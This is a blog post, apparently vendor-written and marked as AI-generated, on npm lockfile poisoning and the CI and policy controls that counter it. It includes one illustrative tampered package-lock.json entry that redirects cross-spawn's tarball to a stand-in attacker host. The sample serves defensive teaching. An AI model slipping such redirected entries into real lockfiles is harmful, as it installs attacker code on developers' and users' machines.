Lockfile poisoning: the supply chain attack hiding in your pull requests
Por Seaworthy · 21 de marzo de 2026
Photo by Haris Illahi on Unsplash
Nobody reads lockfiles in pull requests. I'm not judging: they're enormous, the diffs are noisy, and nothing in the PR description says "hey, I also quietly replaced the tarball hash for lodash". That invisibility is exactly what makes lockfile poisoning so effective.
What lockfile poisoning actually is
When you run npm install, npm writes package-lock.json with a resolved URL and an integrity hash for every package it touches. The hash is a subresource integrity (SRI) value: sha512-<base64>. It ties a specific package name and version to a specific tarball. If the tarball changes, the hash changes.
Lockfile poisoning swaps that hash (and sometimes the resolved URL) to point at a malicious tarball the attacker controls. The package.json is untouched. The version string is untouched. To a reviewer scanning the diff, nothing looks wrong.
The attack requires the ability to open a pull request against your repo. That means external contributors, compromised developer accounts, or a dependency bot configured to auto-merge. It also requires that your CI either skips integrity verification or runs npm install instead of npm ci.
What a poisoned entry looks like
Here is a legitimate package-lock.json entry for cross-spawn:
"node_modules/cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7M5B23eFGCOdNyADEjQG+/zJrqtOeEwlGIjRvxWdRzDEhqzejWmAaerSJoSSCQVjn2SBjIp1Q=="
}
And here is what it looks like after an attacker modifies it:
"node_modules/cross-spawn": {
"version": "7.0.3",
"resolved": "https://attacker-cdn.example.com/cross-spawn-7.0.3.tgz",
"integrity": "sha512-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
}
The version is still 7.0.3. The name is still cross-spawn. A reviewer looking at the surrounding business logic change will almost certainly miss this.
The npm ci defence (and its limits)
Running npm ci instead of npm install in CI is the most basic control. It refuses to proceed if package-lock.json is out of sync with package.json, and it validates integrity hashes against the downloaded tarballs before installing.
# .github/workflows/ci.yml
- name: Install dependencies
run: npm ci
This stops a poisoned tarball from being silently installed when the hash in the lockfile does not match the real package. But it does not stop the attacker from also providing a matching tarball at their controlled URL. If the resolved field points to attacker infrastructure and the integrity field is the hash of the malicious tarball, npm ci will happily install the malware.
So npm ci alone is necessary but not sufficient. You also need to verify that resolved URLs point to a trusted registry.
Verifying the lockfile itself
The best single-line check you can add to CI is:
npm audit signatures
This command, available since npm 9, verifies that every package in your lockfile was signed by the npm registry using ECDSA keys. Packages served from third-party URLs will fail this check because npm's signing keys only cover packages published to the official registry.
Pair that with a lockfile provenance check using a script like this:
#!/usr/bin/env node
// scripts/verify-lockfile-registry.js
const lock = require('./package-lock.json');
const ALLOWED = ['https://registry.npmjs.org/'];
const violations = [];
for (const [name, meta] of Object.entries(lock.packages || {})) {
if (!meta.resolved) continue;
const trusted = ALLOWED.some(prefix => meta.resolved.startsWith(prefix));
if (!trusted) violations.push(`${name}: ${meta.resolved}`);
}
if (violations.length) {
console.error('Untrusted resolved URLs found in package-lock.json:');
violations.forEach(v => console.error(' -', v));
process.exit(1);
}
console.log('All resolved URLs are trusted.');
Run this before npm ci. It catches the case where an attacker swaps resolved to point at their own CDN.
Automated tooling worth your time
Socket.dev analyses lockfiles and flags changed hashes on packages that haven't published a new version. It integrates as a GitHub App and posts a PR comment when it detects the anomaly. I've found it catches things that Dependabot misses, because Dependabot focuses on version ranges, not tarball identity.
Snyk's lockfile analysis is more focused on known-vulnerable versions, but its snyk test --file=package-lock.json will flag packages that have been tampered with if the resulting code triggers a known CVE. It's a probabilistic catch, not a deterministic one.
Dependabot is useful for keeping dependencies fresh, which reduces the attack window. A package that's updated weekly is harder to poison than one pinned to a two-year-old version, because recent changes get more scrutiny.
None of these tools replace the npm audit signatures check. They are additive.
Policy controls that actually help
First, require lockfile changes to receive a dedicated review comment. Add a CODEOWNERS rule pointing package-lock.json at a security-aware team member. Most teams don't do this and I think it's a genuine gap.
Second, set registry=https://registry.npmjs.org/ in your .npmrc and commit it. This stops any local or CI npm install from using a different registry, even if an attacker modifies .npmrc in the same PR.
# .npmrc
registry=https://registry.npmjs.org/
Third, pin your transitive dependencies. Tools like npm shrinkwrap or policies that treat the lockfile as authoritative (no floating ranges, --save-exact for all direct deps) mean fewer packages change on each install run, making a modified entry more visible in the diff.
Finally, block auto-merge for any PR that modifies package-lock.json. This is a one-line change to your GitHub branch protection rules and it closes the highest-risk path for this attack.
The threat is real. The 2021 ua-parser-js compromise and the node-ipc incident both demonstrated that the npm supply chain is a target. Lockfile poisoning is quieter than publishing a malicious version because it doesn't touch the registry at all. It lives entirely in your repo, in a file nobody reviews.
Seaworthy flags untrusted resolved URLs and missing npm audit signatures steps in CI automatically.
Este artículo fue generado por IA y resume fuentes públicamente disponibles.
Seaworthy analiza tu repositorio en busca de los problemas que se tratan en artículos como este.
Brechas de seguridad, secretos expuestos y configuraciones erróneas detectados antes de desplegar. Gratis, sin cuenta necesaria.